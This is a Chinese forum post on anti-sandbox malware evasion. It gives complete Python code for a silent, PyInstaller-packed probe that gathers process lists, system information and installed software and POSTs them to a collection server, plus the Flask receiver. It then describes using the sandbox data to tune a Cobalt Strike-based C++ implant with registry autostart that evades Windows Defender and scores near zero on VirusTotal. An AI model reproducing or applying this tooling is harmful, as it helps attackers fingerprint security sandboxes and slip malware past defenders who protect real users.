反沙箱杂谈--获取沙箱环境
1711726782602206 发表于 重庆 技术文章 2132浏览 · 2024-10-17 14:31

免责申明

  • 本文所述的反沙箱技术及其应用仅供学习参考,旨在提供信息和观点。尽管我们尽力确保内容的准确性和可靠性,但作者对于任何因使用或依赖本文所提供的信息而导致的直接或间接损失,不承担任何责任。读者应根据自身情况进行评估,并在必要时咨询专业人士。本文不构成任何形式的法律、技术或安全建议。

前言
原文链接 免杀系列之反沙箱【BypassSandBox】

某天,在微信公众号里闲逛看到一位师傅发的一篇关于反沙箱的文章觉得很不错,里面给到了一些思路去获取沙箱的信息

沙箱执行过程

  • 提交可疑文件 -> 静态分析 -> 动态分析 -> 行为检测 -> 生成分析报告

图为CS生成的裸马

测试环境搭建

  • 程序代码为Python 3环境,为方便测试发送端和接收端都在本地测试

发送端

  • 下载依赖
    pip install psutil requests
    
  • 导入模块
    import os
    import subprocess
    import psutil
    import requests
    # os: 用于与操作系统进行交互,获取当前工作目录等信息。
    # subprocess: 用于运行外部命令(如获取系统信息和已安装软件)。
    # psutil: 用于获取系统和进程信息。
    # requests: 用于发送HTTP请求,将数据发送到服务器。
    
  • 获取进程列表
    def get_process_list():
      process_list = "=== 进程列表 ===\n"
      for proc in psutil.process_iter(['pid', 'name']):
          process_list += f"进程名称: {proc.info['name']}, PID: {proc.info['pid']}\n"
      return process_list
    #该函数获取当前系统中的所有进程及其名称和PID(进程ID),并以字符串形式返回。
    
  • 获取当前目录和应用程序名称
    def get_current_directory_and_app_name():
      cwd = os.getcwd()
      exe_name = os.path.basename(__file__)
      return f"当前工作目录: {cwd}\n应用程序名称: {exe_name}\n"
    #获取当前工作目录和当前程序的名称。
    
  • 获取系统信息
    def get_system_info():
      system_info = "=== 系统信息 ===\n"
      try:
          output = subprocess.check_output("systeminfo", shell=True, text=True)
          system_info += output
      except subprocess.CalledProcessError as e:
          system_info += f"获取系统信息失败: {e}\n"
      return system_info
    #通过调用systeminfo命令获取系统详细信息,如果获取失败则捕获异常并返回错误信息。
    
  • 获取已安装软件
    def get_installed_software():
      installed_software = "=== 已安装软件 ===\n"
      try:
          output = subprocess.check_output("wmic product list brief", shell=True, text=True)
          installed_software += output
      except subprocess.CalledProcessError as e:
          installed_software += f"获取已安装软件失败: {e}\n"
      return installed_software
    #使用wmic命令获取已安装软件的列表,处理异常以确保程序的健壮性。
    
  • 发送数据到服务器
    def send_to_server(data, server_url):
     response = requests.post(server_url, data={'content': data})
     return response
    #通过POST请求将收集到的数据发送到指定的服务器。
    
    完整代码
    import os
    import subprocess
    import psutil
    import requests
    def get_process_list():
     process_list = "=== 进程列表 ===\n"
     for proc in psutil.process_iter(['pid', 'name']):
         process_list += f"进程名称: {proc.info['name']}, PID: {proc.info['pid']}\n"
     return process_list
    def get_current_directory_and_app_name():
     cwd = os.getcwd()
     exe_name = os.path.basename(__file__)
     return f"当前工作目录: {cwd}\n应用程序名称: {exe_name}\n"
    def get_system_info():
     system_info = "=== 系统信息 ===\n"
     try:
         output = subprocess.check_output("systeminfo", shell=True, text=True)
         system_info += output
     except subprocess.CalledProcessError as e:
         system_info += f"获取系统信息失败: {e}\n"
     return system_info
    def get_installed_software():
     installed_software = "=== 已安装软件 ===\n"
     try:
         output = subprocess.check_output("wmic product list brief", shell=True, text=True)
         installed_software += output
     except subprocess.CalledProcessError as e:
         installed_software += f"获取已安装软件失败: {e}\n"
     return installed_software
    def send_to_server(data, server_url):
     response = requests.post(server_url, data={'content': data})
     return response
    def main():
     # 获取信息并存储在内存中
     process_info = get_process_list()
     current_info = get_current_directory_and_app_name()
     system_info = get_system_info()
     software_info = get_installed_software()
     content = process_info + current_info + system_info + software_info
     # 发送到服务器
     server_url = "http://127.0.0.1:8888/upload"  # 服务器的URL
     response = send_to_server(content, server_url)
     if response.status_code == 200:
         print("信息已成功发送到服务器。")
     else:
         print("发送信息失败。")
     # 信息发送完成,自动清理内存
     del content  # 清理内存
     print("内存已清理。")
    if __name__ == "__main__":
     main()
    
    打包exe
  • 安装PyInstaller
    pip install pyinstaller
    
  • 打包命令
    pyinstaller --onefile --noconsole --clean --strip 发送.py
    
    接收端
  • 下载依赖
    pip install Flask
    
  • 导入 Flask 模块
    from flask import Flask, request
    #Flask: Flask 是一个轻量级的 Web 框架,用于快速构建 Web 应用。
    #request: 用于处理来自客户端的请求数据。
    
  • 创建 Flask 应用实例

    app = Flask(__name__)
    #创建一个 Flask 应用实例,__name__ 参数使 Flask 知道应用的根目录。
    

    定义路由和处理函数

    @app.route('/upload', methods=['POST'])
    def upload_data():
      content = request.form.get('content')
      if not content:
          return '没有内容被上传', 400
    
      # 保存内容到1.txt
      with open('1.txt', 'w', encoding='utf-8') as f:
          f.write(content)
    
      return '内容上传成功', 200
    #@app.route('/upload', methods=['POST']): 定义一个路由,监听 /upload 地址的 POST 请求。
    #upload_data(): 处理上传数据的函数。
    #使用 request.form.get('content') 获取 POST 请求中表单数据的 content 字段。
    #检查 content 是否存在。如果不存在,返回状态码 400 和错误信息。
    #如果 content 存在,将其写入名为 1.txt 的文件,使用 UTF-8 编码保存。
    #返回状态码 200 和成功信息。
    

    完整代码

    from flask import Flask, request
    app = Flask(__name__)
    @app.route('/upload', methods=['POST'])
    def upload_data():
      content = request.form.get('content')
      if not content:
          return '没有内容被上传', 400
      # 保存内容到1.txt
      with open('1.txt', 'w', encoding='utf-8') as f:
          f.write(content)
      return '内容上传成功', 200
    if __name__ == "__main__":
      # 确保 Flask 在8888端口运行
      app.run(host='0.0.0.0', port=8888)
    

    测试
    直接开两个vscode测试

    运行接收端

    运行发送端

    获取的txt

内容

传沙箱测试

  • 微步沙箱测试传不出来文件
  • VT会传三个txt文件回来

    写马儿测试
  • Cobalt Strike4.8,没有使用任何混淆配置文件
    后面就可以根据传回来的沙箱环境特征针对性的反沙箱,C++写的马儿,使用g++编译打包,最后在使用strip去掉编译时间和符号
    实测能过Windows Defender动静态扫描,其他杀软没测试过


  • 成功添加注册表自启动


    最后
    微步沙箱0/27


    VT沙箱1/73,奈何本人太菜实在是做不到VT全绿

这也是我第一次尝试写这一类型的文章,可能有很多不足的地方还望师傅谅解!

3 条评论
某人
表情
可输入 255
目录